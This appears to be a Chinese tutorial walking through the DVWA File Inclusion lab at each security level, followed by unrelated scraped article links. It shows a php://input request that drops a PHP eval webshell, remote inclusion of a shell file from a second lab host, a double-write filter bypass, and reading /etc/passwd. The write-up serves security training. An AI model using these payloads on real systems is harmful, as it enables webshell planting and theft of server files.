File Inclusion(文件包含)

前言

本地文件包含:输入相对路径和文件名即可

远程文件包含:输入远程地址,会自动解析php代码

PHP伪协议

file://	——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// ——访问各个输入输出流(I/O streams)
data:// ——数据(RFC 2397)
phar:// ——PHP归档

php://filter(本地磁盘文件进行读取)

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

file://(读取文件内容)

data://(读取文件,和php://input类似)

phar://(不管后缀是什么,都会解压缩)

1.Low

get webshell

本地文件包含

构造POST请求包上传文件

POST /vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.171.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.171.10
DNT: 1
Connection: close
Referer: http://192.168.171.10/vulnerabilities/fi/?page=include.php
Cookie: PHPSESSID=ncdmp2l6fq938hds1mrrcshvg2; security=low
Upgrade-Insecure-Requests: 1 <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

这个php代码的意思是新建一个shell.php的文件,内容是<?php @eval($_POST[shell])?>');?>,即一句话木马。
用蚁剑连接
可以正常执行命令,获取webshell

有关文件上传的更多知识,请查看:DVWA File Upload(文件上传)

远程文件包含

可以在远程服务器上网站目录上创建以下内容文件,注意后缀名不能设置成.php,不然会被远程服务器解析php代码,而不是靶机解析。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

然后用靶机网站文件包含打开服务器的文件,写入一句话木马就成功了。

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

2.Medium

http:// , https://等特殊字符过滤掉了。

可以把

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

改成

http://192.168.171.10/vulnerabilities/fi/?page=hthttp://tp://192.168.171.2/shell.jpg

即在http://两边再加上http://即可绕过过滤。

即构造hthttp://tp:,当http://被过滤掉时,剩下的字符自动拼接在一起,就形成了http://

该绕过方法被称为双写绕过

3. High

只能包含file开头的文件

file:// 用来访问本地文件

http:// 用来访问网络中的文件

High级别还是可以访问本地文件。

无法上传一句话木马,但还是可以查看靶机电脑的文件。

Linux 系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息

4.Impossible

比较安全

只能打开file1、file2、file3、include.php,彻底杜绝了文件包含漏洞。

DVWA File Inclusion(文件包含)全等级的更多相关文章

  1. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  4. DVWA-File Inclusion(文件包含)

    文件包含漏洞,当我们在一个代码文件想要引入.嵌套另一个代码文件的时候,就是文件包含. 常见的文件包含函数有include require等函数. 这两个函数的区别就是include在包含文件不存在时p ...

  5. dvwa——命令注入&文件包含

    命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...

  6. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  7. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  8. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

  9. 文件包含(File Inclusion)

    什么是文件包含? 本室旨在为您提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI).远程文件包含 (RFI) 和目录遍历.此外,我们将讨论这些漏洞被发现后的风险以及所需的补救措施 在某些情况下 ...

  10. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

随机推荐

  1. 「codeforces - 585E」Present for Vitalik the Philatelist

    link. 设 \(\displaystyle f(x) = \# S', s.t. S' \subseteq S, S' \neq \varnothing, \gcd(S') = x\),\(g(x ...

  2. centos7.6 安装Jenkins

    一.安装java环境 yum install -y java-11-openjdk* 三.将Jenkins存储库添加到yum repos wget -O /etc/yum.repos.d/jenkin ...

  3. Netty集成HTTP的GET和POST通讯

    核心就是ChannelInitializer的实现使用http 消息解码器 package com.coremain.handler; import io.netty.channel.ChannelI ...

  4. 深入解析枚举(Enum):在程序设计中的应用与优势

    深入解析枚举(Enum):在程序设计中的应用与优势 引言 在程序设计中,我们经常需要用到一组具名的常量,这些常量表示一些有限的离散状态或取值范围.例如,表示方向(上.下.左.右).星期几.性别等.为了 ...

  5. linux- 挂载本地iso,配置本地yum

    ------------------------------------ 关于centos8安装vm-tools: workstation部署centos8之后,不需要单独安装vm-tools,系统已 ...

  6. 手撕Vue-编译指令数据

    经过上一篇的分析,完成了查找指令和模板的功能,接下来就是编译指令的数据了. 所以本章节主要处理的方法则是 buildElement 方法,我们先分析一下我们所拿到的数据在进行编码,这样会更加清晰一些. ...

  7. QT线程问题

    QT线程问题 (一)QThread (二)QMutex和QMutexLocker (end)后面会更新 (一)QThread 文章 (二)QMutex和QMutexLocker 通俗理解 QMutex ...

  8. 机器学习从入门到放弃:硬train一发手写数字识别

    一.前言 前面我们了解了关于机器学习使用到的数学基础和内部原理,这一次就来动手使用 pytorch 来实现一个简单的神经网络工程,用来识别手写数字的项目.自己动手后会发现,框架里已经帮你实现了大部分的 ...

  9. [Jetson Nano]SSH连接Jetson Nano时出现Xlib: extension NV-GLX missing on display localhost:10.0

    解决SSH连接Jetson Nano时遇到的"Xlib: extension "NV-GLX" missing on display 'localhost:10.0'&q ...

  10. 推荐一个Node.js多版本管理的可视化工具

    关于Node.js的开发者来说,在开发机器上管理多个不同版本的Node.js是一个常见痛点.之前在开发者安全大全专栏中,提到过解决方法:使用nvm,如果对于nvm还不了解的话,可以前往了解. 对于TJ ...